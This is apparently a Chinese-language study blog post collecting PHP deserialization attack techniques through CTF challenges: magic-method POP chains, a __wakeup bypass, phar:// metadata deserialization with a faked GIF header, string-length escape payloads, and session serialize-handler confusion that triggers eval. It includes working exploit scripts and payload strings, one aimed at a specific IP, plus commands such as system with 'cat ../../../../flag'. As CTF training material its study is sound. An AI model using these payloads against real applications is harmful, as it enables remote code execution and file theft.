前言:本⼈⽔平不⾼,只能做⼀些类似收集总结这样的⼯作,本篇文章是我自己在学php反序列化写的一篇姿势收集与总结,有不对的地方欢迎师傅们批评指正~
定义:序列化就是将对象转换成字符串。反序列化相反,数据的格式的转换对象的序列化利于对象的保存和传输,也可以让多个文件共享对象。
漏洞原理:未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化的过程,从而导致代码执行,SQL注入,目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。
常用魔术方法
serialize() //将一个对象转换成要给字符串
unserialize() //将字符串还原成一个对象 触发: unserialize函数的变量可控,文件中存在可利用的类,类中有魔术方法
__toString() //方法在将一个对象转化成字符串时自动调用,比如使用echo打印对象时
__construct() //创建对象时触发
__destruct() //对象被销毁时触发
__wakeup() //在使用unserialize()时,会检查是否存在一个__wakeup()魔术方法。如果存在,则该方法会先被调用,预先准备对象需要的资源。
__call() //在对象上下文中调用不可访问的方法时触发
__invoke() //在脚本尝试将对象调用为函数时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
常用魔术方法(详细比较版)
1、__get、__set
这两个方法是为在类和他们的父类中没有声明的属性而设计的
__get( $property ) 当调用一个未定义的属性时访问此方法
__set( $property, $value ) 给一个未定义的属性赋值时调用
这里的没有声明包括访问控制为proteced,private的属性(即没有权限访问的属性)
2、__isset、__unset
__isset( $property ) 当在一个未定义的属性上调用isset()函数时调用此方法
__unset( $property ) 当在一个未定义的属性上调用unset()函数时调用此方法
与__get方法和__set方法相同,这里的没有声明包括访问控制为proteced,private的属性(即没有权限访问的属性)
3、__call
__call( $method, $arg_array ) 当调用一个未定义(包括没有权限访问)的方法是调用此方法
4、__autoload
__autoload 函数,使用尚未被定义的类时自动调用。通过此函数,脚本引擎在 PHP 出错失败前有了最后一个机会加载所需的类。
注意: 在 __autoload 函数中抛出的异常不能被 catch 语句块捕获并导致致命错误。
5、__construct、__destruct
__construct 构造方法,当一个对象被创建时调用此方法,好处是可以使构造方法有一个独一无二的名称,无论它所在的类的名称是什么,这样你在改变类的名称时,就不需要改变构造方法的名称
__destruct 析构方法,PHP将在对象被销毁前(即从内存中清除前)调用这个方法
默认情况下,PHP仅仅释放对象属性所占用的内存并销毁对象相关的资源.,析构函数允许你在使用一个对象之后执行任意代码来清除内存,当PHP决定你的脚本不再与对象相关时,析构函数将被调用.
在一个函数的命名空间内,这会发生在函数return的时候,对于全局变量,这发生于脚本结束的时候,如果你想明确地销毁一个对象,你可以给指向该对象的变量分配任何其它值,通常将变量赋值勤为NULL或者调用unset。
6、__clone
PHP5中的对象赋值是使用的引用赋值,使用clone方法复制一个对象时,对象会自动调用__clone魔术方法,如果在对象复制需要执行某些初始化操作,可以在__clone方法实现。
7、__toString
__toString方法在将一个对象转化成字符串时自动调用,比如使用echo打印对象时,如果类没有实现此方法,则无法通过echo打印对象,否则会显示:Catchable fatal error: Object of class test could not be converted to string in,此方法必须返回一个字符串。
在PHP 5.2.0之前,__toString方法只有结合使用echo() 或 print()时 才能生效。PHP 5.2.0之后,则可以在任何字符串环境生效(例如通过printf(),使用%s修饰符),但 不能用于非字符串环境(如使用%d修饰符)
从PHP 5.2.0,如果将一个未定义__toString方法的对象 转换为字符串,会报出一个E_RECOVERABLE_ERROR错误。
8、__sleep、__wakeup
__sleep 串行化的时候用
__wakeup 反串行化的时候调用
serialize() 检查类中是否有魔术名称 __sleep 的函数。如果这样,该函数将在任何序列化之前运行。它可以清除对象并应该返回一个包含有该对象中应被序列化的所有变量名的数组。
使用 __sleep 的目的是关闭对象可能具有的任何数据库连接,提交等待中的数据或进行类似的清除任务。此外,如果有非常大的对象而并不需要完全储存下来时此函数也很有用。
相反地,unserialize() 检查具有魔术名称 __wakeup 的函数的存在。如果存在,此函数可以重建对象可能具有的任何资源。使用 __wakeup 的目的是重建在序列化中可能丢失的任何数据库连接以及处理其它重新初始化的任务。
9、__set_state
当调用var_export()时,这个静态 方法会被调用(自PHP 5.1.0起有效)。本方法的唯一参数是一个数组,其中包含按array(’property’ => value, …)格式排列的类属性。
10、__invoke
当尝试以调用函数的方式调用一个对象时,__invoke 方法会被自动调用。PHP5.3.0以上版本有效
11、__callStatic
它的工作方式类似于 __call() 魔术方法,__callStatic() 是为了处理静态方法调用,PHP5.3.0以上版本有效,PHP 确实加强了对 __callStatic() 方法的定义;它必须是公共的,并且必须被声明为静态的。
同样,__call() 魔术方法必须被定义为公共的,所有其他魔术方法都必须如此。
案例,这里建议自己在本地运行一下便于理解
class ABC{
public $test;
function __construct(){
$test =1;
echo '调用了构造函数
';
}
function __destruct(){
echo '调用了析构函数
';
}
function __wakeup(){
echo '调用了苏醒函数
';
}
}
echo '创建对象a
';
$a=new ABC();
echo '序列化
';
$a_ser=serialize($a);
echo '反序列化
';
$a_unser=unserialize($a_ser);
echo '对象快要死了!';
?>
平时做题构造pop链时发现要记忆的东西很多,记不住的话建议向上面那样开三个窗口对着看,或者多屏。一个魔术方法的触发条件,一个题目代码,一个exp代码。接下来由题目由浅入深学习一下php反序列化
普通反序列化
error_reporting(0);
show_source("cl45s.php");
class wllm{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!";
}
}
}
$p = $_GET['p'];
unserialize($p);
?>
解题,有个判断条件
if($this->admin === "admin" && $this->passwd === "ctf"){
这里直接构造就好了
class wllm{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="admin";
$this->passwd ="ctf";
}
}
$b = new wllm();
echo serialize($b);
?>
将得到的结果进行get传参即可得到flag
绕过wakeup魔术方法
<?php
header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");
class HaHaHa{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}
public function __wakeup(){
$this->passwd = sha1($this->passwd);
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "wllm"){
include("flag.php");
echo $flag;
}else{
echo $this->passwd;
echo "No wake up";
}
}
}
$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);
?>
考点:__wakeup()函数的绕过:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过wakeup的执行。因此,需要修改序列化字符串中的属性个数。
漏洞影响的版本: PHP5 < 5.6.25 PHP7 < 7.0.10
class HaHaHa{
public $admin;
public $passwd;
public function __construct(){
$this->admin = "admin";
$this->passwd = "wllm";
}
}
$b = new HaHaHa();
echo serialize($b);
?>
输出如下:
O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
payload:http://1.14.71.254:28886/class.php?p=O:6:%22HaHaHa%22:3:{s:5:%22admin%22;s:5:%22admin%22;s:6:%22passwd%22;s:4:%22wllm%22;}
这里将HaHaHa这个类的属性值2改成了3,这样就绕过了wakeup()魔术方法。
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "
";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
本地进行序列化,echo时会自动触发__tostring魔术方法
exp如下
class Flag{ //flag.php
public $file="flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "
";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a=new Flag();
echo serialize($a);
?>
1.读源码
<?php
error_reporting(0);
show_source("index.php");
class w44m{
private $admin = 'aaa';
protected $passwd = '123456';
public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}
class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}
class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}
$w00m = $_GET['w00m'];
unserialize($w00m);
?>
2.寻找pop链
# 传参$w00m,直接反序列化,入口就在__destruct,或者_wakeup,这里的w22m符合条件,并且$w00m参数可控,echo触发__toString,__toString方法又当作函数执行,可以触发w44m里的Getflag函数从而输出flag。
# w22m.__destruct().w00m->w33m.__toString().w00m->w44m.Getflag()
3.写exp
class w44m{
private $admin="w44m";
protected $passwd="08067";
}
class w22m{
public $w00m;
}
class w33m{
public $w00m;
public $w22m;
}
$a=new w22m();
$b=new w33m();
$c=new w44m();
$a->w00m=$b;
$b->w00m=$c;
$b->w22m='Getflag';
echo urlencode(serialize($a));
这里提一句为什么要用urlencode,因为类中出现private属性。原理请参考:https://blog.csdn.net/weixin_45844670/article/details/108171963
<?php
error_reporting(0);
class dxg
{
function fmm()
{
return "nonono";
}
}
class lt
{
public $impo='hi';
public $md51='weclome';
public $md52='to NSS';
function __construct()
{
$this->impo = new dxg;
}
function __wakeup()
{
$this->impo = new dxg;
return $this->impo->fmm();
}
function __toString()
{
if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)
return $this->impo->fmm();
}
function __destruct()
{
echo $this;
}
}
class fin
{
public $a;
public $url = 'https://www.ctfer.vip';
public $title;
function fmm()
{
$b = $this->a;
$b($this->title);
}
}
if (isset($_GET['NSS'])) {
$Data = unserialize($_GET['NSS']);
} else {
highlight_file(__file__);
}
2.找pop链,注意里面的细节
找一下魔术方法__wakeup,__toString,__destruct,想一下他们的触发方式。
__destruct() //对象被销毁时触发
__wakeup() //在使用unserialize()时,会检查是否存在一个__wakeup()魔术方法。如果存在,则该方法会先被调用,预先准备对象需要的资源。
__toString() //方法在将一个对象转化成字符串时自动调用,比如使用echo打印对象时
再去读一下__wakeup()方法,因为这个方法是可能可以做入口的,发现里面代码执行的是fmm函数,而fmm函数返回的是dxg类里的"nonono",代表这题是要绕过__wakeup方法的,不让它执行。
再去看__destruct函数,里面执行的是echo语句,可以触发__tostring方法。
再去找一下出口,看到还有一个函数,是fin类里面的fmm函数,看fin类里面可以命令执行。现在思路就清晰了。
__destruct()->__toString()->fin.fmm();
3.exp
class dxg
{
function fmm()
{
return "nonono";
}
}
class lt{
public $impo;
public $md51='QNKCDZO';
public $md52='240610708';
}
class fin{
public $a="system";
public $url = 'https://www.ctfer.vip';
public $title="cat ../../../../flag";
}
$a=new dxg();
$nss=new lt();
$c=new fin();
$nss->impo=$c;
echo (serialize($nss));
<?php
error_reporting(0);
highlight_file(__FILE__);
#Something useful for you : https://zhuanlan.zhihu.com/p/377676274
class Start{
public $name;
protected $func;
public function __destruct()
{
echo "Welcome to NewStarCTF, ".$this->name;
}
public function __isset($var)
{
($this->func)();
}
}
class Sec{
private $obj;
private $var;
public function __toString()
{
$this->obj->check($this->var);
return "CTFers";
}
public function __invoke()
{
echo file_get_contents('/flag');
}
}
class Easy{
public $cla;
public function __call($fun, $var)
{
$this->cla = clone $var[0];
}
}
class eeee{
public $obj;
public function __clone()
{
if(isset($this->obj->cmd)){
echo "success";
}
}
}
if(isset($_POST['pop'])){
unserialize($_POST['pop']);
}
2.找pop链
先找魔术方法,__destruct,__isset,__toString,__invoke,__clone
__destruct() //对象被销毁时触发
__isset( $property ) 当在一个未定义的属性上调用isset()函数时调用此方法
__toString方法在将一个对象转化成字符串时自动调用,比如使用echo打印对象时
__invoke 当尝试以调用函数的方式调用一个对象时,__invoke 方法会被自动调用。
__clone 使用clone方法复制一个对象时,对象会自动调用__clone魔术方法
先看入口:__destruct方法,出口粗看一眼大概率就是__invoke,现在就是要构造一条从入口到出口的pop链。
__call( $method, $arg_array ) 当调用一个未定义(包括没有权限访问)的方法是调用此方法
寻找链条:
__destruct(Start)方法里有echo,触发__toString(Sec),toString里的check可以触发__call(Eazy),__call里面用了clone函数,触发了__clone(eeee)方法,调用了isset函数,isset函数又恰好调用了未定义属性cmd,触发了__isset()魔术方法,__isset(Start)里以函数的形式可以调用一个对象,只需要把一个对象赋值给$func变量就可以触发__invoke(Sec)方法了。
Start->__destruct 触发 Sec->__toString 触发 Easy->__call
触发 eeee->__clone 触发 Start->__isset 触发 Sec->invoke
3.exp(exp写不出来,看了师傅的wp自己复现出的)
class Start{
public $name;
protected $func;
public function __construct(){
$this->func=new Sec(); //因为要触发invoke,invoke在Sec类里
}
}
class Sec{
private $obj;
public $var; //不是很理解为什么这里可以改成public
public function __construct(){
$this->obj = new Easy(); //触发 Easy->__call,call传两个参数,触发__clone是取决于var参数
}
}
class Easy{
public $cla;
}
class eeee{
public $obj;
}
$a=new Start();
$b=new Sec();
$c=new Easy();
$d=new eeee();
$a->name=$b; //可以触发 Sec->__toString,所以写这里
$d->obj=$a; //因为要触发 Start->__isset
$b->var=$d; //触发eeee->__clone
echo urlencode(serialize($d));//$d传参进去马上被反序列化,因为$d->obj=$a,所以直接触发Start->__destruct
//Start->__destruct 触发 Sec->__toString 触发 Easy->__call
//触发 eeee->__clone 触发 Start->__isset 触发 Sec->invoke
phar是一种php程序的一种打包文件,类似于java中的jar文件,无需解压,直接通过phar://伪协议读取内容。
一个phar文件一般有四个部分:
1.stub:它是phar文件的文件头,格式为xxxxx,这种格式是固定的。前面的可以不管,但必须以__HALT_COMPILER();?>结尾。生成文件的后缀名为phar。这种格式就相当于gif图片中的GIF89a一样。没有这个格式就不会识别这是一个phar文件。
2.a manifest describing the contents:phar文件中被压缩的文件的一些信息,以及一些权限信息。其中Meta-data部分的信息会进行序列化并储存,这就是phar反序列化的精髓。我们可以把exp放在Meta-data内。
3.the file contents:这里放的是压缩文件的内容,这里的内容可以随便写
4.a signature for verifying Phar integrity 这是一个签名,在这里不用管。(签名就是对全文进行加密,为了防止文件内容丢失或者修改,如果签名进行解密与全文不匹配,就会拒绝解析。)
phar伪协议
因为phar就是将多个文档压缩到一个文件当中,phar文件中的Mata-data会进行序列化,在我们访问phar文件中的文档时,我们不需要对它进行解压。可以通过phar://为协议对文件进行读取。当phar文件被解析时,Meta-data中的数据就会被反序列化。
构造phar文件
在本地生成一个phar文件,并想使用phar类里面的方法,就必须**将php.ini配置文件中的phar.readonly改为0或者off(前面分号是注释,删掉)**这个phar压缩文件并不是右键点击一键生成的,而是通过写脚本来生成这个phar文件的。
接下来在本地实验生成phar文件。
class A{
public function __destruct(){
echo $this->name;
}
}
$a = new testobj();
$phar = new phar('test.phar');//对phar对象进行实例化,以便后续操作。
$phar -> startBuffering();//缓冲phar写操作(不用特别注意)
$phar -> setStub("GIF89a"."");//设置stub,为固定格式
$phar -> setMetadata($a);//把我们的对象写进Metadata中,漏洞利用重点所在
$phar -> addFromString("test.txt","hello world!!");//写压缩文件的内容,这里没利用点,可以随便写
$phar -> stopBuffering();//停止缓冲
?>
在上传场景中,我们可以将phar伪造成其他格式的文件。识别phar文件只需添加这个文件头就可以了。那我们就可以添加别的文件头进行伪造了。例如$phar->setStub(“GIF89a”.“”);添加gif的文件头绕过上传机制。
运行完成会在当前目录生成一个文件—test.phar
可以看到,自己构造的test类被序列化了。再试一下能不能反序列化。
class test{
function __destruct()//对象在反序列化时自动触发
{
echo $this->str;//检验是否进行了反序列化
}
}
$filename = "phar://test.phar/test.txt";
echo(file_get_contents($filename));
?>
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cYFgOeCF-1668655599694)(php反序列化.assets/image-20221019144532188.png)]
可以看到用phar伪协议能够正常读取,代表Meta-data中的数据能被正常反序列化。 php一大部分的文件系统函数在通过phar://
伪协议解析phar文件时,都会将meta-data进行反序列化,受影响的函数如下:
来个例题巩固一下
打开页面发现注册框和登录框,先试一下万能密码和sql注入。无果后直接注册登录,发现了文件上传的地方。尝试常见的文件上传绕过,经过一系列尝试,发现通过修改mime文件头能狗传上php文件,但是文件类型被改成了jpg,代表不能利用,传不上马。然后发现了文件下载的按钮,尝试目录穿越,任意文件包含。果然存在,但没啥用,找了半天找不到flag。
然后就想着把知道的文件的源码下载下来,首先是download.php,发现不存在,可能文件在上传文件的父目录,尝试过后是…/…/在两级目录。
//index.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
?>
<?php
include "class.php";
$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>
//class.php
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User {
public $db;
public function __construct() {
global $db;
$this->db = $db;
}
public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}
public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}
public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);
}
}
?>
index.php中调用了Name()方法,但是class.php中没有该方法,就会触发__call()方法。
include "class.php";
$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>
__call()方法是动态构造一个函数名,然后执行该函数
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
可以看到,$file是File()方法的实例化对象。
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
追踪File方法发现里面的close()函数是文件读取,接下来思路就清晰了。
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);
}
}
?>
由于$this->filename变量可控,这里可以设置成flag,来进行读取
public function close() {
return file_get_contents($this->filename);
}
在index.php中调用close()方法,由于不存在,自动触发__call()方法,call()方法构造close方法并执行File类里的close方法进行文件读取。
这里说一下为什么不能直接读取flag,再看到download.php,里面如果匹配到了flag就输出“File not exist”
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
接下来构造pop链
$a=new FileList();
$a->close();->$a->call(close);
$a->file=new File('/flag');
$a->file->close();
现在的问题是如何调用close()方法,在class.php中全局搜索是否有close()的同名方法,在User()类中发现调用了,让db为FileList()对象就行。
public function __destruct() {
$this->db->close();
exp.php,利用phar伪协议读取
class User {
public $db;
public function __construct() {
$this->db=new FileList();
}
}
class FileList
{
private $files;
private $results;
private $funcs;
function __construct(){
$this->files=[new File('/flag.txt')]; //数组是因为原来的也是数组
$this->results=[];
$this->funcs=[];
}
}
class File {
public $filename;
function __construct($filename){
$this->filename = $filename;
}
}
$a=new User();
$phar = new phar('test.phar');//对phar对象进行实例化,以便后续操作。
$phar -> startBuffering();//缓冲phar写操作(不用特别注意)
$phar -> setStub("");//设置stub,为固定格式
$phar -> setMetadata($a);//把我们的对象写进Metadata中
$phar -> addFromString("test.txt","helloworld!!");//写压缩文件的内容,这里没利用点,可以随便写
$phar -> stopBuffering();//停止缓冲
利用phar伪协议读取发现没有此文件,迷惑了好久,可能不是/flag,尝试/flag.txt等还是不行,去看download.php的源码,发现限制条件
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
只能打开getcwd()当前文件夹,/etc和/tmp文件夹。但我很疑惑为什么还可以在download.php中利用…/…/读取index.php等的源码呢?(可能是在/tmp目录下吧。)
后面想到delete.php还没用过,进去看一下,可以打开文件,还没有限制条件,尝试读取flag
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
点击delete,利用phar伪协议读取,这里我开始上传的时候只改了mime头,导致phar一直读不出来,后面直接将test.phar改成test.jpg直接上传,就能够读取了。至于flag.txt是参考其他wp才知道的,以后都可以试一下。那么为什么phar协议能读取jpg,其实phar伪协议格式的判断是在setStub这里(上面有写),并不是根据后缀名判断格式的。
xenney的原理学习视频链接:https://www.bilibili.com/video/BV1tv411y7DA/?spm_id_from=333.999.0.0&vd_source=3abb013925cacaea21eb0528d1689b4a
我们首先来看一个简单的例子,尝试将123的值变成123";}尝试提前闭合看看能不能正常反序列化输出
输出结果如下
可以看到,它是能够正常反序列化的,第二个后面多余的";}被当作多余字符自动丢弃了。
再来看一道例题
show_source(__FILE__);
function waf($string)
{
$r='/admin/';
return preg_replace($r,'hacker',$string);
}
class User
{
public $user;
public $isAdmin=0;
}
$a=new User();
$a->user=$_GET['username'];
$serialize_a=serialize($a);
var_dump($serialize_a);
echo "";
$serialize_a=waf($serialize_a);
var_dump($serialize_a);
echo "";
$b=unserialize($serialize_a);
var_dump($b);
if($b->isAdmin)
{
echo "Welcome,admin
";
}
简单理解代码就是get接收username的参数,然后将User类序列化并输出。然后将序列化后的参数经过一个waf函数,如果检测到admin,就会将admin替换成hacker。
从上面的输出可以看到,这里只是单纯的字符串替换。我们需要将isAdmin中的值赋为1,那么这时我们有一个思路,可不可以将username的参数直接设置成下面这个?
admin";s:7:"isAdmin";i:1;}
尝试输入一下观察返回结果
可以看到变量名长度也跟着变了,如果变量名长度与值不匹配的话是不会正常反序列化的。这里可以利用waf函数将admin替换成了hacker
function waf($string)
{
$r='/admin/';
return preg_replace($r,'hacker',$string);
}
这里从5个字符变成了6个字符,造成了字符串增加,再来看我们要逃逸的字符长度为下面的21位
";s:7:"isAdmin";i:1;} //21位
一个admin可以逃逸一个字符,我们填写21个admin再加上后面的字符就可以造成字符串逃逸了。
payload:
adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:7:"isAdmin";i:1;} //126位
可以看到payload的长度为126位,而将admin替换成hacker后,hacker总共加起来的长度就有126位了,刚好匹配上了。然后这里后面到}”这里结束,后面的字符串会被自动忽略,也就是上面说过的那个例子。
这里再截一个后半部分
function waf($string)
{
$r='/admin/';
return preg_replace($r,'hack',$string);
}
class User
{
public $user;
public $key=114514;
public $isAdmin=0;
}
$a=new User();
$a->user=$_GET['username'];
$a->key=$_GET['key'];
echo "user->".$a->user."";
echo "key->".$a->key."";
$serialize_a=serialize($a);
var_dump($serialize_a);
echo "";
$serialize_a=waf($serialize_a);
var_dump($serialize_a);
echo "";
$b=unserialize($serialize_a);
var_dump($b);
if($b->isAdmin)
{
echo "Welcome,admin
";
}
这题和字符串增加不同,这里get接收了两个参数。先来正常输出一下
O:4:"User":3:{s:4:"user";s:5:"admin";s:3:"key";s:6:"114514";s:7:"isAdmin";i:0;}
O:4:"User":3:{s:4:"user";s:5:"hack";s:3:"key";s:6:"114514";s:7:"isAdmin";i:0;}
这题是将admin替换成了hack,造成字符串减少,导致后面的内容被吞噬。由于这题我们可以传参key的值,所以key的值可控,所以我们这里构造字符串吞噬到114514前面,需要再多吞噬掉17位。
";s:3:"key";s:6: //16位
这里构造16个admin,然后key的值传
;s:3:"key";s:6:"114514";s:7:"isAdmin";i:1;}
可以看到还是不行,这里可以将序列化的值拿出来分析一下
O:4:"User":3:{s:4:"user";s:80:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:3:"key";s:43:";s:3:"key";s:6:"114514";s:7:"isAdmin";i:1;}";s:7:"isAdmin";i:0;}
可以看到,如果将key的值传入成上面那个,它的长度就变成了43
所以我们要绕过的长度从
";s:3:"key";s:6: //16位
变成了下面
";s:3:"key";s:43: //17位
所以需要构造17个admin,然后key的值传
;s:3:"key";s:6:"114514";s:7:"isAdmin";i:1;}
参考文章:https://www.freebuf.com/articles/web/324519.html
https://blog.csdn.net/solitudi/article/details/113588692
引用概念
Session
一般称为“会话控制“,简单来说就是是一种客户与网站/服务器更为安全的对话方式。一旦开启了 session
会话,便可以在网站的任何页面使用或保持这个会话,从而让访问者与网站之间建立了一种“对话”机制。不同语言的会话机制可能有所不同,这里仅讨论PHP session
机制。
PHP session
可以看作是一个特殊的变量,且该变量是用于存储关于用户会话的信息,或者更改用户会话的设置,需要注意的是,PHP Session
变量存储单一用户的信息,并且对于应用程序中的所有页面都是可用的,且其对应的具体 session
值会存储于服务器端,这也是与 cookie
的主要区别,所以seesion
的安全性相对较高。
php.ini中一些session配置
session.save_path="/tmp" --设置session文件的存储位置
session.save_handler=files --设定用户自定义存储函数,如果想使用PHP内置session存储机制之外的可以使用这个函数
session.auto_start= 0 --指定会话模块是否在请求开始时启动一个会话,默认值为 0,不启动
session.serialize_handler= php --定义用来序列化/反序列化的处理器名字,默认使用php
session.upload_progress.enabled= On --启用上传进度跟踪,并填充$ _SESSION变量,默认启用
session.upload_progress.cleanup= oN --读取所有POST数据(即完成上传)后立即清理进度信息,默认启用
php存储session的三种方式
处理器 | 对应的存储格式 |
---|---|
php | 键名 + 竖线 + 经过 serialize() 函数反序列处理的值 |
php_binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值 |
php_serialize (php>=5.5.4) | 经过 serialize() 函数反序列处理的数组 |
php处理器
首先来看看默认session.serialize_handler = php
时候的序列化结果,代码如下
打开浏览器的开发者工具,找到存储,发现phpsession的值为r7f5dico12tnjvjnmrglnmaib6
name|s:5:"E1gHt";
可以看到本地的session是以序列化后的格式存储的
文件名为sess_r7f5dico12tnjvjnmrglnmaib6
,其中r7f5dico12tnjvjnmrglnmaib6
就是后续请求头中Cookie
携带的PHPSESSID
的值 (如上图浏览器中已存储)
php_binary
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['name'] = $_GET['name'];
echo $_SESSION['name'];
?>
将处理器修改成php_binary,再去看看session文件
php_serialize
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['name'] = $_GET['name'];
echo $_SESSION['name'];
?>
将处理器修改成php_serialize,再去看看session文件
详细了解可以看这篇文章:1https://www.freebuf.com/vuls/202819.html
漏洞成因:php引擎的存储格式是键名|serialized_string
,而php_serialize引擎的存储格式是serialized_string
。如果程序使用两个引擎来分别处理的话就会出现问题,简单来讲就是php文件中使用php_serialize引擎session变量可控,使用php引擎的php文件可以被反序列化。
来看看这两个php
// 1.php
<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
echo $_SESSION['session'];
?>
//2.php
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class test
{
public $name;
function __wakeup()
{
echo "Who are you?";
}
function __destruct()
{
eval($this->name);
}
}
首先访问1.php,传入参数session=|O:4:"test":1:{s:4:"name";s:10:"phpinfo();";}
再访问2.php,注意不要忘记|
此时session文件里的值如下
这里引用y4大佬的解释(我是菜鸡QWQ)
由于1.php
是使用php_serialize
引擎处理,因此只会把'|'
当做一个正常的字符。然后访问2.php
,由于用的是php
引擎,因此遇到'|'
时会将之看做键名与值的分割符,从而造成了歧义,导致其在解析session文件时直接对'|'
后的值进行反序列化处理。
这里可能会有一个小疑问,为什么在解析session文件时直接对'|'
后的值进行反序列化处理,这也是处理器的功能?这个其实是因为session_start()
这个函数,可以看下官方说明:
当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会调用会话管理器的 open 和 read 回调函数。 会话管理器可能是 PHP 默认的, 也可能是扩展提供的(SQLite 或者 Memcached 扩展), 也可能是通过 session_set_save_handler() 设定的用户自定义会话管理器。 通过 read 回调函数返回的现有会话数据(使用特殊的序列化格式存储),PHP 会自动反序列化数据并且填充 $_SESSION 超级全局变量
因此我们成功触发了test
类中的__wakeup()
方法,所以这种攻击思路是可行的。
但上面这种方法是在可以对session
的进行赋值的,那如果代码中不存在对$_SESSION
变量赋值的情况下又该如何利用?
我们来看高校战疫的一道CTF题目
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
ini_set('session.upload_progress.cleanup', 'Off');
session_start();
class ctf
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
